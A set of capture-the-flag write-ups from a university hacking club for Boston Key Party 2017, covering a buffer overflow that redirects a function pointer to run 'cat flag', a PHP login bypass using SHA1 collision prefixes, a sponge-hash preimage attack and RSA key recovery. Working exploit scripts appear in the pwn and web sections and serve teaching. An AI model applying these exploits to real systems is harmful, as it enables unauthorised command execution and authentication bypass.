Boston Key Party 2017

Secure Shell Server

Category: Pwn

Posted on February 28, 2017

This challenge involves getting arbitrary shell access to a secure shell server


Welcome to Secure Signed Shell
1) sign command
2) execute command
>_

As always, we can start by fuzzing all the string input states of the program, we quickly find that entering more than 256 characters into the execute command prompt causes seg faults indicating a possible buffer overflow, invalid instructions, or memory corruption.

We can look at the area in memory where the command is stored, and we find it to be a global section obj.global of size 0x100 (256). In running the code, however, we notice that the null byte termination at the end of the string overwrites a value directly after the global section, specfically the byte at address 0x00602240. This byte is then used to determine whether to run a SHA1 or MD5 hashing of the command. We know it does MD5 by default due to the length of the signatures of whitelisted commands (ls, whoami, ...). We don't yet know why the segfault appears, but we do notice we can change execution by altering which path je 0x4011f2 takes


┌───────────────────────────────────────────────────────┐
│  0x401145 ;[ge]                                       │
│ mov edi, str.what_command_do_you_want_to_run_         │
│ call sym.imp.puts ;[gg]                               │
│ mov edi, 0x401622                                     │
│ mov eax, 0                                            │
│ call sym.imp.printf ;[gh]                             │
│ mov edx, 0x100                                        │
│ mov esi, obj.global                                   │
│ mov edi, 0                                            │
│ call sym.imp.read ;[gi]                               │
│ mov dword [rbp - local_54h], eax                      │
│ mov eax, dword [rbp - local_54h]                      │
│ cdqe                                                  │
│ mov byte [rax + obj.global], 0                        │
│ mov qword [rbp - local_40h], obj.global               │
│ movzx eax, byte [0x00602240]                          │
│ test al, al                                           │
│ je 0x4011f2 ;[gj]                                     │
└───────────────────────────────────────────────────────┘

We can continue execution to determine what call causes the segfaults and we find a register call to an address stored at obj.m_exec_guy + 0x13. Depending on the overflow input the call to rax gives different results.


┌──────────────────────────────────┐
│  0x401369 ;[gAd]                 │
│ mov rax, qword [obj.m_exec_guy]  │
│ mov rax, qword [rax + 0x13]      │
│ mov edi, obj.global              │
│ call rax                         │
│ jmp 0x40138f ;[gAc]              │
└──────────────────────────────────┘

Let's quickly examine the setup for this memory location, it appears to create an obj.s_exec_guy and obj.m_exec_guy, finding usage of these pointers suggests they are for storing the SHA1 and MD5 hashes (hence s and m prefixes). Since the hashes are different lengths it makes sense obj.s_exec_guy provides more space than obj.m_exec_guy. However the address to the functions to deny_command and exec_command lie directly after the stored hash.


┌───────────────────────────────────────────┐
│  0x4010c8 ;[gd]                           │
│ mov esi, 1                                │
│ mov edi, 0x24                             │
│ call sym.imp.calloc ;[gc]                 │
│ mov qword [obj.exec_guy], rax             │
│ mov rax, qword [obj.exec_guy]             │
│ mov qword [obj.s_exec_guy], rax           │
│ mov rax, qword [obj.exec_guy]             │
│ add rax, 1                                │
│ mov qword [obj.m_exec_guy], rax           │
│ mov rax, qword [obj.s_exec_guy]           │
│ mov qword [rax + 0x14], sym.deny_command  │
│ mov rax, qword [obj.s_exec_guy]           │
│ mov qword [rax + 0x1c], sym.exec_command  │
└───────────────────────────────────────────┘

Now the exploit becomes clear, by controlling the SHA1/MD5 jump we can effectly choose the length of the hash stored at the address determined at the beginning of execution. Since the program expects to perform MD5, if we change the execution to be SHA1 it will store a larger hash than expected in the obj.m_exec_guy location, thus overwriting the last (endianess) two bytes of the address sym.deny_command. Luckily the addresses for sym.deny_command and sym.exec_command differ by only two bytes, thus by hashing enough different inputs we can overwrite the deny address to jump to the exec address. Then so long as our input command is at least partially valid in shell we can execute the command and return the result.


import socket
import random, string

def randomword(length):
   return ''.join(random.choice(string.ascii_letters) for i in range(length))

while True:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("54.202.7.144", 9875))
    data = s.recv(1024)
    data = s.recv(1024)
    s.send('2')
    data = s.recv(1024)
    test = 'cat flag;' + randomword(247)
    print("trying: " + test)
    s.send(test)
    data = s.recv(1024)
    s.send('bullshit')
    data = s.recv(1024)
    if data:
        print("ANSWER: " + data)
    s.close()

This eventually returns the flag


output:
    trying: cat flag;DEXotxgPoDkrkHpgaVubVrFGOvTOPWgreL
    TocJHJmZGpLeLgChPKeLCjLYDFacUyxXVcdrUqmdRPVLIAwtgKj
    JsRPKlmhRTCTOamDyaqTFQfRFtfNWEbpcMIfupVOzMkejNAXYhW
    ujNGWAbMVOGfUdotGMjFOfhzLKjzoKTQXEFTCtwBqfndBvDmdWI
    pJOXauQitisLLouNDksWcOcISPqPenZSdsfoOHvglTqWIEjCvAb
    IyqpRjWHw
ANSWER: bkp{and you did not even have to break sha1}

Prudentialv2

Category: Web

Posted on March 07, 2017

This challenge took you to a web page with two input boxes, username and password. Upon examining the webpage's source, we see this in the PHP.


require 'flag.php';

if (isset($_GET['name']) and isset($_GET['password'])) {
    $name = (string)$_GET['name'];
    $password = (string)$_GET['password'];

    if ($name == $password) {
        print 'Your password can not be your name.';
    } else if (sha1($name) === sha1($password)) {
      die('Flag: '.$flag);
    } else {
        print '

Invalid password.

'; } }

It appears to print out the flag if the two strings given to it are not equal, while their SHA1 hashes are. This is commonly called a "collision". However, hash functions are typically constructed so that it is practically impossible to find a collision.

Luckily, if you're even remotely involved in the tech community, you would have heard the big news several days before this CTF.

The first SHA1 collision has been found.

They've even conveniently provided 2 files that produce a collision! Thus, we immediately tried to submit these PDF's as text files (through Python and the urllib.parse.quote function). Unluckily, we get back a "414 Request-URI Too Large" error.

Clearly, we cannot encode the entire PDF's. After some googling, we found a tool for creating your own SHA1 collisions. Huh? I thought creating your own collision took a ton of time and was impractical? There must be some method that we can use to create collisions.

Browsing through the associated HN thread, we found a nice explanation of what was going on.

"Yeah, I think that's pretty much the case. The first 320 bytes of the two PDFs released by Google result in the same SHA-1 state. Once you're at that point as long as you append identical data to each of the files you're going to get identical hashes. This is just taking those same 320 bytes and appending the combined images of your choice."

Therefore, only the first 320 bytes matter. Now, we can submit merely the first 320 bytes of each PDF.

import hashlib
import requests
import urllib
import base64

hasher = hashlib.sha1()
BLOCKSIZE = 320
buf1 =''
with open('a.pdf', 'rb') as afile:
    buf1 = afile.read(BLOCKSIZE)
    hasher.update(buf1)
print(hasher.hexdigest())
hasher = hashlib.sha1()
buf2=''
with open('b.pdf', 'rb') as afile:
    buf2 = afile.read(BLOCKSIZE)
    hasher.update(buf2)
print(hasher.hexdigest())

name = urllib.parse.quote(buf1)
password = urllib.parse.quote(buf2)
url = 'http://54.202.82.13/?name='+name+'&password='+password

r = requests.get(url)
print(r.content)
#FLAG{AfterThursdayWeHadToReduceThePointValue}

Sponge

Category: Crypto

Posted on March 07, 2017

The problem for this challenge was

I've written a hash function. Come up with a string that collides with "I love using sponges for crypto".

The clue linked to to a python script containing the code for the hash validation server.

Reading through the code, we see that the hash function does the following:

  1. Initializes the 16-byte state to all zeros
  2. Sets the key for an instance of AES to all zero
  3. Splits the message up into 10-byte blocks
  4. Ingests the blocks one at a time, with the final block padded to 10-bytes
  5. "Squeezes" two 10-byte blocks out, creating a 160-bit hash

This construction is called a "sponge" function, hence the name of the challenege. The important thing to know about sponges is that they maintain an internal state divided into two sections: the bitrate and the capacity where any user input or has function output only interacts with the bitrate, never the capacity.

In this case, we can see from the ingest function that the first 10 bytes of the state form the bitrate, and the last 6 form the capacity.

More concretely, we see in the ingest function:

  def ingest(self, block):
    """Ingest a block of 10 characters """
    block += '\x00'*6
    state = ""
    for i in range(16):
      state += chr(ord(self.state[i]) ^ ord(block[i]))
    self.state = self.aes.encrypt(state)

The 10-byte block is padded at the end with zeros, then XORed with the current state, which is then AES encrypted to form the new state. In the squeeze function, the first 10 bytes of state are output, and then the state is AES encrypted.

So the goal is to find a string which hashes to the same value as "I love using sponges for crypto". If we can collide on any intermediate state, then we can simply ingest the rest of the message, leaving us with the same final state, and thus the same hash. It is clear that we can influence the first 10 bytes of state in whatever way we want, but in order to find a hash collision, we need to collide on the final six bytes as well. In fact, if we can find a 10-byte block which results in a state ending in 6 zeroes after being ingested, then we can compute a preimage for any message,

The issue here is that we have only one potential collision target, so each time we try a preimage, it only has a 1 in 248 chance of being correct. Even this would never be considered secure in practice-- I can brute force this on my low-end laptop in uder 200 days-- but there clearly must be a better way.

The trick is to generate more potential collision targets: we use the fact that AES is a reversible transformation to generate extra intermediate states to act as targets. The strategey is to generate a huge number of values which, when we ingest them, will give the necessary null bytes and then we try to collide with those.

We can do this by simply AES decrypting a whole bunch of byte strings of the form xxxxxxxxxx000000 where x is any arbitrary byte, then storing them in a hash map so that we can look up the whole preimage in constant time, given the last 6 bytes:


from Crypto.Cipher import AES
aes = AES.new('\x00'*16)

targets = {}

def precompute(n):
     for i in islice(permutations(range(255),10), n):
        prefix = str(bytearray(i))
        dec = aes.decrypt(prefix+'\x00'*6)
        targets[dec[10:]] = dec

This gives us n possible collision targets- on my laptop it takes about 25000000 to fill up 8GB of RAM.

Now we just need to find a string which collides in the last 6 bytes with any of our precomputed values. This takes only a few seconds, since it only takes on average (248)/n tries to find a collision.

def collide():
        for i in permutations(range(255),10):
            s = bytes(bytearray(i))+'\x00'*6
            h = aes.encrypt(s)
            if h[10:] in targets:
                preimage = s
                collision = self.targets[h[10:]]
                return (preimage, collision)

Now we have the necessary information to compute a preimage:

  • An "intermediate state" si such that aes(si)[10:] == "\x00"*6
  • A value b0 such that aes(b0)[10:] == si[10:]

The final preimage is composed of three 10-byte blocks that are based on these values:

  1. The first block is simply b0
    • After this block is ingested, the state, s1, ends in the same 6 bytes as si
  2. The second block is designed so that the state exactly equals si just before the AES encryption. Thus the value is si[:10]^s1[:10]
    • The new state, s2, after this block is ingested is aes(s1[:10]^(s1[:10]^si[:10])||si[10:]) which is equivalent to aes(si).
      Note that s2[10:] == '\x00'*6
  3. The third block is designed so that the state before AES encryption is equal to m1, the first message block. We use the value s2[:10] ^ m1[:10], so that the initial s2 bytes cancel out, leaving only the message bytes and the null bytes at the end.

We now have a message prefix that after ingestion leaves the state exactly the same as it would be after only the first block of the message is ingested. We can simply connactenate the rest of the message to this, and we have our collision.

The full process looks like this:

target = {}

def xor_bytes(a,b):
    return bytes(bytearray([chr(ord(i)^ord(j)) for (i,j) in zip(a,b)]))

def compute_preimage(target):
    precompute(25000000)
    preimage, collision = collide()
    state = '\x00'*16
    state = aes.encrypt(xor_bytes(state, preimage))
    diff = xor_bytes(aes.encrypt(preimage), collision)
    state = aes.encrypt(xor_bytes(state,diff)) # Capacity is now 0
    b0 = preimage[:10]
    b1 = diff[:10]
    b2 = xor_bytes(state[:10], target[:10])
    s = (b0+b1+b2+target[10:]).encode('hex')
    return s        

Running this, we get that a preimage for 'I love using sponges for crypto'

is 0x00010203040507cc7033865e7ffd7c215c84c2bb49216e6c7260271a13a56e672073706f6e67657320666f722063727970746f.

Interestingly, since the preimage targets the initial zero state, we can generate a preimage for any string of more than 10 bytes in constant time:

def fast_preimage(target):
    return "00010203040507cc7033865e7ffd7c215c84c2bb"+ (
    xor_bytes(target[:10], "\x00\x01\x02\x03\x04\x05\x07\x6f\x60\xcc")+target[10:]
    ).encode('hex')   

For more deail, see the complete script that I created for this problem.


RSA Buffet

Category: Crypto

Posted on March 07, 2017

Using various techniques, by means of trial and error, you can find the private keys.

Wiener's Attack

Find an implementation of Wiener's Attack https://github.com/pablocelayes/rsa-wiener-attack.

The third private key has a very large public exponent e, which allows Wiener's attack to find d.

Batch GCD

If you run http://facthacks.cr.yp.to/batchgcd.html on SageMathCloud, you will find that keys 0 and 6 share a common factor. Use Euclid's algorithm to find that common factor.

FactorDB / Brute-Force

Key 2 has such a small prime that a brute-force factorization is feasible. Use Python's primefac package or use https://factordb.com to look up its factorization.

Fermat's Factorization Method

Key 1 has two primes close to the sqrt of the modulus N, so Fermat's Factoriation Method succeeds in reasonable time.

https://github.com/przebieglykaziu/fermat-factor

Finally

Once you have recovered 3 plaintexts, you can run Shamir's Secret Sharing scheme (from https://github.com/blockstack/secret-sharing).

>>> SecretSharer.recover_secret(plaintext[2] for plaintext in plaintexts)
 'Three's the magic number!  FLAG{ndQzjRpnSP60NgWET6jX}'

Copyright © Cornell Hacking Club 2021